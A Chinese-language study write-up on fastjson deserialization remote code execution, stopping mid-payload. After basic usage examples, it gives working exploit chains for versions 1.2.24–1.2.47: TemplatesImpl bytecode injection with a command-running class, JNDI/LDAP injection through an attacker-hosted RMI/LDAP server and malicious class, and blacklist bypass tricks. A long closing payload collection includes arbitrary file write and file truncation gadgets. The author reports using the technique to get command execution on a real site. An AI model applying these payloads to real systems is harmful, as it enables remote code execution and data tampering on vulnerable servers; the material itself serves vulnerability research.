實戰中遇到了不少,現在特地學習一下
fastjson 是阿里巴巴的開源 JSON 解析庫,它可以解析 JSON 格式的字符串,支持將 Java Bean 序列化為 JSON 字符串,也可以從 JSON 字符串反序列化到 JavaBean。
由於其特點是快,以性能為優勢快速占領了大量用戶,並且其 API 十分簡潔,用戶量十分龐大,這也就導致了這樣的組件一旦爆出漏洞,危害也將會是巨大的,因此,fastjson 從第一次報告安全漏洞至今,進行了若干次的安全更新,也與安全研究人員進行了來來回回多次的安全補丁-繞過的流程。
FastJson簡單使用學習
簡單學習了一下使用
User.java
package FastJsonDemo;
public class User {
private String username;
private String password;
public User(){}
public User(String name, String pass){
this.username=name;
this.password=pass;
}
public String getUsername(){
return username;
}
public void setUsername(String user){
this.username=user;
}
public String getPassword(){
return password;
}
public void setPassword(String pass){
this.password=pass;
}
@Override
public String toString(){
return "User [username=" + username + ", password=" + password + "]";
}
}
UserGroup.java
package FastJsonDemo;
import java.util.ArrayList;
import java.util.List;
public class UserGroup {
private String name;
private List<User> users=new ArrayList<User>();
public UserGroup(){}
public UserGroup(String name,List<User> user){
this.name=name;
this.users=user;
}
public String getName(){
return name;
}
public void setName(String name){
this.name=name;
}
public List<User> getUsers(){
return users;
}
public void setUsers(List<User> test){
this.users=test;
}
@Override
public String toString(){
return "UserGroup [name=" + name + ", users=" + users + "]";
}
}
Main.java
package FastJsonDemo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import java.util.ArrayList;
import java.util.List;
public class Main {
public static void main(String[] args) {
Main test = new Main();
test.ObjectToJson();
test.JsonToObject();
}
/*
Java對象轉為 Json字符串
*/
public void ObjectToJson(){
//Java類轉Json字符串
User user= new User("Mikasa","admin");
String UserJson = JSON.toJSONString(user);//轉換
System.out.println("簡單Java類轉Json字符串:"+UserJson);
//List<Object>轉json字符串
User user1= new User("test1","test");
User user2 = new User("test2","test");
List<User> users = new ArrayList<User>();
users.add(user1);
users.add(user2);
String ListUserJson = JSON.toJSONString(users);
System.out.println("List<Object>轉字符串:"+ListUserJson);
//復雜Java類轉Json字符串
UserGroup userGroup = new UserGroup("administrator",users);
String userGroupJson = JSON.toJSONString(userGroup);
System.out.println("復雜java類轉json字符串:"+userGroupJson);
}
/*
Json字符串轉Java對象
*/
public void JsonToObject(){
/*
* Json字符串轉簡單Java對象, 字符串: {"password":"123456","username":"demo"}
* */
String JsonStr1= "{'password':'123456','username':'demo'}";
User user= JSON.parseObject(JsonStr1,User.class);
System.out.println(user);
/*
Json字符串轉List<Object>對象
*/
String JsonStr2="[{'password':'123123','username':'zhangsan'},{'password':'321321','username':'lisi'}]";
List<User> users = JSON.parseArray(JsonStr2,User.class);
System.out.println(users);
/*
Json字符串轉復雜對象
*/
String JsonStr3 ="{'name':'userGroup','users':[{'password':'123123','username':'zhangsan'},{'password':'321321','username':'lisi'}]}";
UserGroup userGroup = JSON.parseObject(JsonStr3,UserGroup.class);
System.out.println(userGroup);
}
}
注意一點:使用FastJson序列化是,對象的函數要使用駝峰命名法,不然的話就是{},這里面遇到了這個小坑
其他一些關於FastJson的信息
https://su18.org/post/fastjson/#1-fastjson-1224
fastjson-1.2.24
摘要
在2017年3月15日,fastjson官方主動爆出在 1.2.24 及之前版本存在遠程代碼執行高危安全漏洞
影響版本:fastjson <= 1.2.24
描述:fastjson 默認使用 @type 指定反序列化任意類,攻擊者可以通過在 Java 常見環境中尋找能夠構造惡意類的方法,通過反序列化的過程中調用的 getter/setter 方法,以及目標成員變量的注入來達到傳參的目的,最終形成惡意調用鏈。此漏洞開啟了 fastjson 反序列化漏洞的大門,為安全研究人員提供了新的思路。
觸發點TemplatesImpl反序列化
該類位於 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
實現了 Serializable
接口
其成員變量 _class
是一個,Classs
的數組
其數組下標為 _transletIndex
的類在 getTransletInstance
中被實例化
在這個類中的 getOutputProperties
方法調用 newTransformer
方法
newTransformer
方法又調用了 getTransletInstance
方法
而 getOutputProperties
方法是類成員變量的 _outputProperties
的getter方法
因此我們這里面的調用鏈為
parse()->getOutputProperties()->newTransformer()->getTransletInstance()
接下來我們就要查看 _class
數組中的類我們是否可以控制,發現我們找不到 _class
變量的 getter以及setter方法,但是一個數值不可能就這樣空着,在其他的地方肯定有賦值操作
發現在其構造函數以及 readObject
和 defineTransletClasses
中均有賦值
其中 defineTransletClasses
調用於 getTransletInstance
(還有很多地方也調用了,這里面使用是因為getTransletInstance最方便就在原來的鏈中)
調用 defineTransletClasses
之后就創建實例
進入 defineTransletClasses
看看
首先要求 _bytecodes
不為 null,接着調用自定義的 ClassLoader 去加載 _bytecodes 中的 byte[] 。而 _bytecodes 也是該類的成員屬性,調用 setTransletBytecodes
方法去設置,是一個setter
接着將從 _bytecodes[i]
加載的類賦值給 _class
,但是我們要的是 _class[_transletIndex]
,這個值默認是 -1
,顯然調用不到
后面循環判斷每個類的父類是否是 ABSTRACT_TRANSLET
,是的話那么就會將 _transletIndex
設置為該類的下標
因此我們需要找到一個父類是 ABSTRACT_TRANSLET
的可用的類
完整的利用鏈為
1.構造一個TemplatesImpl類的反序列化字符串,其中 _bytecodes 是我們構造的惡意類的類字節碼,這個類的父類是 AbstractTranslet,最終這個類會被載並使用 newInstance() 實例化
2.在反序列化過程中,由於getter方法 getOutputProperties(),滿足條件,將會被 fastjson 調用,而這個方法觸發了整個漏洞利用流程:getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() / EvilClass.newInstance()
其中,為了滿足漏洞點觸發之前不報異常及退出,我們還需要滿足 _name 不為 null ,_tfactory 不為 null 。
由於部分需要我們更改的私有變量沒有 setter 方法,需要使用 Feature.SupportNonPublicField 參數(_tfactory變量)。
Payload為
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADQA...CJAAk="],
"_name": "xxx",
"_tfactory": {},
"_outputProperties": {},
}
一些反序列化的細節
https://paper.seebug.org/636/
Exp編寫
隨便寫一個Java繼承 AbstractTranslet
,實現其接口方法后,在構造函數中寫好我們要實現的功能
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import java.io.IOException;
public class TemplatesImpl1224 extends AbstractTranslet {
public TemplatesImpl1224() throws IOException {
Runtime.getRuntime().exec("open /Applications/Calculator.app");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void main(String[] args) throws IOException{
TemplatesImpl1224 test = new TemplatesImpl1224();
}
}
編譯為 Class文件,然后讀取其字節碼Base64編碼即可(FastJson對_bytecodes有base64解碼的操作)
package exp;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
import sun.nio.ch.IOUtil;
import java.io.*;
public class TemplatesImpl1224Poc{
public static void main(String[] args) {
//生成的Class文件的路徑
String EvilClass = "/Volumes/DATA/test/java/FastJsonDemo/target/classes/TemplatesImpl1224.class";
String evilStr=ReadClass(EvilClass);
System.out.println("Poc為:");
String Poc= "{\"@type\":\"" + "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" +
"\",\"_bytecodes\":[\""+evilStr+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(Poc);
}
public static String ReadClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try{
IOUtils.copy(new FileInputStream(new File(cls)),bos);
}catch (Exception e){
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
}
測試一下看看
成功執行
Pom中依賴配置為
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.3</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.10</version>
</dependency>
</dependencies>
該方法有很明顯的缺點: 若其反序列化中未配置 Feature.SupportNonPublicField
就GG了,是 _tfactory
變量的問題(該成員對象沒有setter方法)
JdbcRowSetImpl 反序列化
JdbcRowSetImpl
類位於 com.sun.rowset.JdbcRowSetImpl
首先看一下 setAutoCommit
方法
當 this.conn
為null的時候會調用 connect
方法
該方法里調用了 javax.naming.InitialContext#lookup()
參數從成員變量 dataSource
中獲取
故存在JNDI注入
JNDI注入(RMI+JNDI Reference)
首先需要了解RMI相關知識,這里不再贅述
根據RMI的知識可知:
是RMI服務器最終執行遠程方法,在將結果返回給客戶端,顯然與我們的理解相背馳,這里面其實利用的是 JNDI References
詳情可以參考:
https://kingx.me/Exploit-Java-Deserialization-with-RMI.html
做一個簡單的小測試
Client.java(受害者)
package JNDI;
import javax.naming.Context;
import javax.naming.InitialContext;
public class Client {
public static void main(String[] args) throws Exception{
String uri = "";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
Server.java(攻擊者)
package JNDI;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("ExecTest","ExecTest","http://127.0.0.1:8081/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(aa);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/aa'");
registry.bind("aa",referenceWrapper);
}
}
最后是我們的惡意Class文件
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;
import javax.print.attribute.standard.PrinterMessageFromOperator;
public class ExecTest {
public ExecTest() throws IOException,InterruptedException{
String cmd="whoami";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}
private static void printMessage(final InputStream input) {
// TODO Auto-generated method stub
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}
}
編譯完后部署在http服務器上
javac ExecTest.java
python3 -m http.server 8081
運行 Client
以及 Server
即可
但是因為我的Java的JDK版本過高,存在 com.sun.jndi.rmi.object.trustURLCodebase
限制,這種方法客戶端版本需要小於 8u121
才能利用
這里附一張繞過圖 https://blog.csdn.net/caiqiiqi/article/details/105951247
問題不大安裝一個在范圍的JDK即可
當然我們自己搭建 JNDI
的話有點麻煩,有一些現成的工具可以使用
https://github.com/mbechler/marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8081/\#ExecTest 8088
起一個Rmi服務器,並且指定RMI端口為8088, http://127.0.0.1:8081/\#ExecTest
則是我們部署的惡意Class
FastJson的Exp
回到我們的 FastJson
,我們看看完成這個攻擊需要什么,首先是 setAutoCommit
這個setter,因此要對 AutoCommit
賦值,然后是 dataSource
這個成員變量,從這里面取出RMI地址,因此我們也需要賦值
故Exp為
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
成功了
LDAP+JNDI
之前說過JNDI注入的是有版本限制的,於是這里面采用 LDAP+JNDI
的方式(也有版本限制,不過較JNDI范圍廣一點),以后滲透過程中就主要嘗試 LDAP-JNDI
注入,命中率更高一點
步驟都一樣
后記:后面通過這個漏洞測出來了CSDN某分站有命令執行~
FastJson-1.2.25
摘要
在版本 1.2.25 中,官方對之前的反序列化漏洞進行了修復,引入了 checkAutoType
安全機制,默認情況下 autoTypeSupport
關閉,不能直接反序列化任意類,而打開 AutoType
之后,是基於內置黑名單來實現安全的,fastjson也提供了添加黑名單的接口
影響版本:1.2.25 <= fastjson <= 1.2.41
描述:作者通過為危險功能添加開關,並提供黑白名單兩種方式進行安全防護,其實已經是相當完整的防護思路,而且作者已經意識到黑名單類將會無窮無盡,僅僅通過維護列表來防止反序列化漏洞並非最好的辦法。而且靠用戶自己來關注安全信息去維護也不現實。
FastJson的更新主要位於 com.alibaba.fastjson.parser.ParserConfig
其中多了這幾個成員變量
autoTypeSupport
用來標識是否開啟任意類型的反序列化,並且默認關閉,字符數組 denyList
是反序列化的黑名單, acceptList
是反序列化白名單
這些在類實例化的時候會被設置
其中黑名單包括
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
添加白名單有三種方法
1.使用代碼進行添加:ParserConfig.getGlobalInstance().addAccept("org.test.fastjson.,org.javaweb")
2.加上JVM啟動參數: -Dfastjson.parser.autoTypeAccept=org.test.fastjson
3.在fastjson.properties中添加:fastjson.parser.autoTypeAccept=org.test.fastjson
看一下 checkAutoType
若開啟了 autoType
,先判斷類名是否在白名單中,如果在,就使用TypeUtils.loadClass 加載,然后使用黑名單判斷類名的開頭,如果匹配就拋出異常
若沒有開啟 autoType
則是先使用黑名單匹配,再使用白名單匹配和加載。最后,如果要反序列化的類和黑白名單都未匹配時,只有開啟了 autoType 或者 expectClass 不為空也就是指定了 Class 對象時才會調用 TypeUtils.loadClass 加載
跟一下 loadClass
這個類在加載目標類之前為了兼容帶有描述符的類名,使用了遞歸調用來處理描述符中的 [、L、; 字符
因此就在這個位置出現了邏輯漏洞,攻擊者可以使用帶有描述符的類繞過黑名單的限制,而在類加載過程中,描述符還會被處理掉。因此,漏洞利用的思路就出來了:需要開啟 autoType,使用以上字符來進行黑名單的繞過
最終的 payload 其實就是在之前的 payload 類名上前后加上L和;即可:
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
測試一下:
值得注意的是由於是 TypeUtils.loadClass
的缺陷,因此在其他的版本也可以使用(例如1.2.24)
FastJson-1.2.42
在版本 1.2.42 中,fastjson 繼續延續了黑白名單的檢測模式,但是將黑名單類從白名單修改為使用 HASH 的方式進行對比,這是為了防止安全研究人員根據黑名單中的類進行反向研究,用來對未更新的歷史版本進行攻擊。同時,作者對之前版本一直存在的使用類描述符繞過黑名單校驗的問題嘗試進行了修復。
影響版本:1.2.25 <= fastjson <= 1.2.42
描述:一點也不坦誠,學學人家 jackson,到現在還是明文黑名單。而且到目前為止很多類已經被撞出來了。
還是關注 com.alibaba.fastjson.parser.ParserConfig
這個類
采用Hash的方式
並且在 checkAutoType 中加入判斷,如果類的第一個字符是 L 結尾是 ;,則使用 substring進行了去除(去掉首位和末尾)
直接雙寫就能繞過了....
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
同樣該Payload也能在低版本中使用(1.2.24或者之前的1.2.25)
小總結
從這可以看出,只要我們前面 L
與 ;
數量相同,那么利用 TypeUtils.loadClass
回調的缺陷,就能反序列化 com.sun.rowset.JdbcRowSetImpl
例如這里
五個對應的 L
與 ;
也是可以的
因此得出結論在 fastjson <= 1.2.42
環境下,這種方式是通用的
fastjson-1.2.43
該版本主要修復上一個版本中雙寫繞過的問題
影響版本:1.2.25 <= fastjson <= 1.2.43
描述:上有政策,下有對策。在 L、; 被進行了限制后,安全研究人員將目光轉向了 [
在 checkAutoType
中
判斷如果類名連續出現了兩個 L 將會拋出異常
但是我們查看 TypeUtils.loadClass
的源碼發現
也對 [
進行了回調,因此我們可以利用 [
繞過,並且前面沒有對 [
進行過修補,因此我們甚至都不需要雙寫,最后調試可以得到Payload
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
{"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
測試了一下該Payload在其他的版本都可用
fastjson-1.2.44
這個版本主要是修復上一個版本中使用 [
繞過黑名單防護的問題。
影響版本:1.2.25 <= fastjson <= 1.2.44
描述:在此版本將 [ 也進行修復了之后,由字符串處理導致的黑名單繞過也就告一段落了。
fastjson-1.2.45
首先需要目標服務端存在 mybatis
的jar包,且版本為3.x.x系列 < 3.5.0 的版本
我們先看一下Poc
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}
可以看到在 setProperties
這個setter中調用了 lookup() 方法,但是我們控制的 JNDI
服務器地址在 Properties
這里面,跟進去看看
有個 setProperty
函數因此我們可以修改其成員變量,再看看前面
需要的正是 data_source
因此可以達成我們的攻擊條件
測試在其他版本也可使用 (1.2.24等)
FastJson-1.2.47
在 fastjson 不斷迭代到 1.2.47 時,爆出了最為嚴重的漏洞,可以在不開啟 AutoTypeSupport 的情況下進行反序列化的利用。
影響版本:1.2.25 <= fastjson <= 1.2.32 未開啟 AutoTypeSupport可以利用
影響版本:1.2.33 <= fastjson <= 1.2.47 無論是否開啟AutoTypeSupport,都能成功利用
漏洞仍然在 checkAutoType()
中
首先判斷類名非空,類名長度判斷,不大於128不小於3,類名以 [
開頭拋出異常,類名以 L
開頭以 ;
結尾拋出異常
autoTypeSupport 為 true 時,先對比 acceptHashCodes 加載白名單項,在對比 denyHashCodes 進行黑名單匹配,如果黑名單有匹配並且 TypeUtils.mappings 里沒有緩存這個類則拋出異常
嘗試在 TypeUtils.mappings 中查找緩存的 class,嘗試在 deserializers 中查找這個類,如果找到了對應的 class,則會進行 return
如果沒有開啟 AutoTypeSupport
,則先匹配黑名單,與之前邏輯一致
如果class還未空,則使用 TypeUtils.loadClass
嘗試加載這個類
這里面存在一個邏輯問題: autoTypeSupport
為 true時,fastjson也會禁止一些黑名單的類反序列化,但是有一個判斷條件: 當反序列化的類在黑名單中,且 TypeUtils.mappings 中沒有該類的緩存時,才會拋出異常。這里就留下了一個伏筆。就是這個邏輯導致了 1.2.32 之前的版本將會受到 autoTypeSupport 的影響。
在 autoTypeSupport 為默認的 false 時,程序直接檢查黑名單並拋出異常,在這部分我們無法繞過,所以我們的關注點就在判斷之前,程序有在 TypeUtils.mappings 中和 deserializers 中嘗試查找要反序列化的類,如果找到了,則就會 return,這就避開下面 autoTypeSupport 默認為 false 時的檢查。如何才能在這兩步中將我們的惡意類加載進去呢?
先看 deserializers ,位於 com.alibaba.fastjson.parser.ParserConfig.deserializers ,是一個 IdentityHashMap,能向其中賦值的函數有:
getDeserializer():這個類用來加載一些特定類,以及有 JSONType 注解的類,在 put 之前都有類名及相關信息的判斷,無法為我們所用。
initDeserializers():無入參,在構造方法中調用,寫死一些認為沒有危害的固定常用類,無法為我們所用。
putDeserializer():被前兩個函數調用,我們無法控制入參。
此我們無法向 deserializers 中寫入值,也就在其中讀出我們想要的惡意類。所以我們的目光轉向了 TypeUtils.getClassFromMapping(typeName)
同樣的,這個方法從 TypeUtils.mappings 中取值,這是一個 ConcurrentHashMap 對象,能向其中賦值的函數有:
addBaseClassMappings():無入參,加載
loadClass():關鍵函數
跟進去 loadClass
先進行非空判斷,防止重復添加,在判斷className 是否以 [ 開頭,以及className 是否 L 開頭 ; 結尾.如果 classLoader 非空,cache 為 true 則使用該類加載器加載並存入 mappings 中。
如果失敗,或沒有指定 ClassLoader ,則使用當前線程的 contextClassLoader 來加載類,也需要 cache 為 true 才能寫入 mappings 中
如果還是失敗,則使用 Class.forName 來獲取 class 對象並放入 mappings 中
由上可知,只要我們能夠控制這個方法的參數,就可以往 mappings 中寫入任意類名。
loadClass
一共三個重載方法
我們需要找到調用這些方法的類,並看是否能夠為我們控制:
Class<?> loadClass(String className, ClassLoader classLoader, boolean cache):調用鏈均在 checkAutoType() 和 TypeUtils 里自調用
Class<?> loadClass(String className):除了自調用,有一個 castToJavaBean() 方法
Class<?> loadClass(String className, ClassLoader classLoader):方法調用三個參數的重載方法,並添加參數 true ,也就是會加入參數緩存中
重點看一下兩個參數的 loadClass 方法在哪調用
在這里我們關注 com.alibaba.fastjson.serializer.MiscCodec#deserialze 方法,這個類是用來處理一些亂七八糟類的反序列化類,其中就包括 Class.class 類,成為了我們的入口
如果 parser.resolveStatus 為TypeNameRedirect 時,進入 if 語句,會解析 “val” 中的內容放入 objVal 中,然后傳入 strVal 中。
后面的邏輯如果 class 是 Class.class 時,將會調用 loadClass 方法,將 strVal 進行類加載並緩存:
Exp為
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:23457/Command8",
"autoCommit": true
}
}
我們Debug一下
初始化 ParserConfig
初始化過程中 deserializers
將 Class.class
進行了加載
調用 checkAutoType
對類名進行檢查
未開啟 AutoType
進入 deserializers.findClass
由於在初始化時候載入了 Class.class
,因此clazz返回不為 null
后面直接返回函數值,繞過了未開啟 AutoType
為False的檢查
根據不同的 class 類型分配 deserialzer,Class 類型由 MiscCodec.deserialze() 處理
解析 json 中 var 中的內容,並放入 objVal 中, 如果不是 Val 將會報錯
后面調用 TypeUtils.loadClass
加載並且緩存,此時惡意的 val 成功被我們加載到 mappings 中,再次以惡意類進行 @type 請求時即可繞過黑名單進行的阻攔,因此最終
不愧是FastJson最嚴重的漏洞,在很多低版本都可以使用
低版本基本都可以用
fastjson-1.2.68
待續
FastJson的Payload
按照前面的經驗我們可以總結出一些最常用的Payload
com.sun.rowset.JdbcRowSetImpl
com.sun.rowset.JdbcRowSetImpl
反序列化(1.2.24)
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
com.sun.rowset.JdbcRowSetImpl
反序列化(1.2.24 <= fastjson <= 1.2.41)
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
com.sun.rowset.JdbcRowSetImpl
反序列化(1.2.24 <= fastjson <= 1.2.43)
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
com.sun.rowset.JdbcRowSetImpl
反序列化(1.2.24 <= fastjson <= 1.2.44)
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
{"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
需要依賴包Mybatis 3.x.x系列 < 3.5.0
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
反序列化(1.2.24 <= fastjson <= 1.2.45)
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}
1.2.47邏輯漏洞
影響版本: 1.2.24
影響版本:1.2.25 <= fastjson <= 1.2.32 未開啟 AutoTypeSupport可以利用
影響版本:1.2.33 <= fastjson <= 1.2.47 無論是否開啟AutoTypeSupport,都能成功利用
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:23457/Command8",
"autoCommit": true
}
}
其他有關的Payload(未測試)
SimpleJndiBeanFactory
{
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "ldap://127.0.0.1:23457/Command8",
"propertyPath": "su18",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:23457/Command8"
]
}
}
DefaultBeanFactoryPointcutAdvisor
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:23457/Command8"
]
},
"adviceBeanName": "ldap://127.0.0.1:23457/Command8"
},
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}
WrapperConnectionPoolDataSource
{
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced000...6f;"
}
JndiRefForwardingDataSource
{
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "ldap://127.0.0.1:23457/Command8",
"loginTimeout": 0
}
InetAddress
{
"@type": "java.net.InetAddress",
"val": "http://dnslog.com"
}
Inet6Address
{
"@type": "java.net.Inet6Address",
"val": "http://dnslog.com"
}
URL
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}
JSONObject
{
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}
}
""
}
URLReader
{
"poc": {
"@type": "java.lang.AutoCloseable",
"@type": "com.alibaba.fastjson.JSONReader",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://127.0.0.1:9999"
}
}
}
AutoCloseable 任意文件寫入
{
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/path/to/target"
},
"parameters": {
"@type": "org.apache.commons.compress.compressors.gzip.GzipParameters",
"filename": "filecontent"
}
}
BasicDataSource
{
"@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...",
"driverClassLoader" :
{
"@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
}
}
JndiConverter(fastjson<=1.2.62)
{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "ldap://127.0.0.1:23457/Command8"
}
JtaTransactionConfig(fastjson<=1.2.66),autoTypeSupport屬性為true才能使
{
"@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
"properties": {
"@type": "java.util.Properties",
"UserTransaction": "ldap://127.0.0.1:23457/Command8"
}
}
JndiObjectFactory(fastjson<=1.2.66),autoTypeSupport屬性為true才能使
{
"@type": "org.apache.shiro.jndi.JndiObjectFactory",
"resourceName": "ldap://127.0.0.1:23457/Command8"
}
AnterosDBCPConfig(fastjson<=1.2.66),autoTypeSupport屬性為true才能使
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}
AnterosDBCPConfig2
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}
CacheJndiTmLookup(fastjson<=1.2.66),autoTypeSupport屬性為true才能使
{
"@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
"jndiNames": "ldap://127.0.0.1:23457/Command8"
}
AutoCloseable 清空指定文件
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
}
AutoCloseable 任意文件寫入
{
"stream":
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
},
"writer":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.solr.common.util.FastOutputStream",
"tempBuffer":"SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=",
"sink":
{
"$ref":"$.stream"
},
"start":38
},
"close":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.iq80.snappy.SnappyOutputStream",
"out":
{
"$ref":"$.writer"
}
}
}
AutoCloseable MarshalOutputStream 任意文件寫入
{
'@type': "java.lang.AutoCloseable",
'@type': 'sun.rmi.server.MarshalOutputStream',
'out': {
'@type': 'java.util.zip.InflaterOutputStream',
'out': {
'@type': 'java.io.FileOutputStream',
'file': 'dst',
'append': false
},
'infl': {
'input': {
'array': 'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
'limit': 22
}
},
'bufLen': 1048576
},
'protocolVersion': 1
}
BasicDataSource
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassName": "true",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A"
}
HikariConfig
{
"@type": "com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}
HikariConfig
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
